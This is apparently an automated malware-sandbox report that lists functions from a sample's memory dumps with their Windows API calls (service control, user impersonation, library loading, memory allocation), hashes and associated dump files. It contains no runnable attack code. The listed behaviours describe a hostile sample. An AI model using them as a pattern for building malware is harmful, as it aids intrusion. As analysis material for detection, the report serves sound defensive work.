OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04D00DCD

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5dc009f190ca32efbb7080eecd8b1a032b2a3d9b6b170f4e87c04f3458f9a175
Instruction ID: 38f28a961a9843afad4c53c02f07d5ba87310c45322fa294adc1ce2c4ba73b5e
Opcode Fuzzy Hash: 5dc009f190ca32efbb7080eecd8b1a032b2a3d9b6b170f4e87c04f3458f9a175
Instruction Fuzzy Hash: F42113B6C012199FCB50DF99E884BDEFBF4FB88310F14852AD908AB244D774A544CBB5

Function 04D01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04D01580

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: e3d8c1073b4bc64139f3a565d12d6152999e2a7f660a37107293ba234ce40fb9
Instruction ID: ddc799b4eb0dab41d785209c116572087da0f0735fdaae8203b0626d212091fe
Opcode Fuzzy Hash: e3d8c1073b4bc64139f3a565d12d6152999e2a7f660a37107293ba234ce40fb9
Instruction Fuzzy Hash: ED11E4B1D00249DFDB10CF9AD589BDEFBF4EB48320F10842AE559A7250D378A644CFA5

Function 04D0150F Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04D01580

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 27bd3158e2f1b596c7f3148da29f16e217d9eecd13567c7789c6667c3fa537fc
Instruction ID: d4cd24b3a01a1ae0796b364927ca06ae8eff2348605e63a6e737edd5ad411764
Opcode Fuzzy Hash: 27bd3158e2f1b596c7f3148da29f16e217d9eecd13567c7789c6667c3fa537fc
Instruction Fuzzy Hash: 6411E4B1D00249DFDB10CF9AD589BDEFBF4EB48320F10842AE559A7250D378A645CFA5

Function 04D01301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04D01367

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 8d43434eec8d20ea675d60780651b69100daf2b59064b7635bc99d6f5568e9c1
Instruction ID: 9d997f1844fd246493033e952a33c43f857e6feba169dc18120d04be1dc9cdea
Opcode Fuzzy Hash: 8d43434eec8d20ea675d60780651b69100daf2b59064b7635bc99d6f5568e9c1
Instruction Fuzzy Hash: 2F1125B1800249CFDB10CF9AD985BDEFBF8EF49324F14846AD559A3640C778A545CFA1

Function 04D01308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04D01367

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 79495f3d32195ec6c22fa04d493da09a96058797347bff415b6045d05461a9fd
Instruction ID: 3dc8c5ffa0d2d2afff020c620706efc8d2d1e47e47935ffed2d1972b4bce94b1
Opcode Fuzzy Hash: 79495f3d32195ec6c22fa04d493da09a96058797347bff415b6045d05461a9fd
Instruction Fuzzy Hash: 231133B1C00249CFDB20CF9AD845BDEFBF8EB48320F20842AD558A3240C378A944CFA5

Function 00952A47 Relevance: 1.5, APIs: 1, Instructions: 21
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 009546BF

Memory Dump Source

Source File: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e97f03c5cb2795f0ceaf7a5b0676f171512c44f3316bf0a477dfc2631e068a7d
Instruction ID: 66cb8676c0815d75bc304c0ac5c53fe9916aa8878c957eadf0fa9a870d811330
Opcode Fuzzy Hash: e97f03c5cb2795f0ceaf7a5b0676f171512c44f3316bf0a477dfc2631e068a7d
Instruction Fuzzy Hash: 86E032B040CA04CFCB01BFA8D08813CBBE0EB80300F11092CDEC146614E63918A8DB4B

Function 007BF112 Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 007BFA61

Memory Dump Source

Source File: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b7d1e9ea46693dcdb1fe3b344db0fac7ea13a322e11b35505027d738856e0c1d
Instruction ID: a2ef9ae51483cd63bf21cdf055cd444f5a071a34eed590bd12bfc4dd968902af
Opcode Fuzzy Hash: b7d1e9ea46693dcdb1fe3b344db0fac7ea13a322e11b35505027d738856e0c1d
Instruction Fuzzy Hash: 15F015B441CA19DFC7056F2188847B9BBE4FF55B00F22482EE5C28A280D77A4990EB97

Function 007BEA1C Relevance: 1.3, APIs: 1, Instructions: 12
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 007BF5B8

Memory Dump Source

Source File: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1993c690e8b5c8c3b094e97362a986a57e51798ea6221062bf984e47a084096e
Instruction ID: f1f10fc98db1da3b5fd1aad32561df6383297c32e13da86249a7ceb5c9a7ab3c
Opcode Fuzzy Hash: 1993c690e8b5c8c3b094e97362a986a57e51798ea6221062bf984e47a084096e
Instruction Fuzzy Hash: C5D06CB8508649CBDB146FA884086ED7AA0EF09722F110628FCA286685D7364CA09B5A

Non-executed Functions

Function 007BE05F Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

NTDL, xrefs: 007BE29D

Memory Dump Source

Source File: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: 4a5f0dc8549c36c117657ca0e6be8d0851fa5d100bc811379415487de02a232d
Instruction ID: 278a708c57fa5c1711f531adc84d6951323a9a3f921d11425bf04cbe0b7a0149
Opcode Fuzzy Hash: 4a5f0dc8549c36c117657ca0e6be8d0851fa5d100bc811379415487de02a232d
Instruction Fuzzy Hash: 9471BE7250420E8BDB11CF25C4416EF7BE1FF96320F34852AE84683B42D7BA4D52EE4A

Function 0095B5FC Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
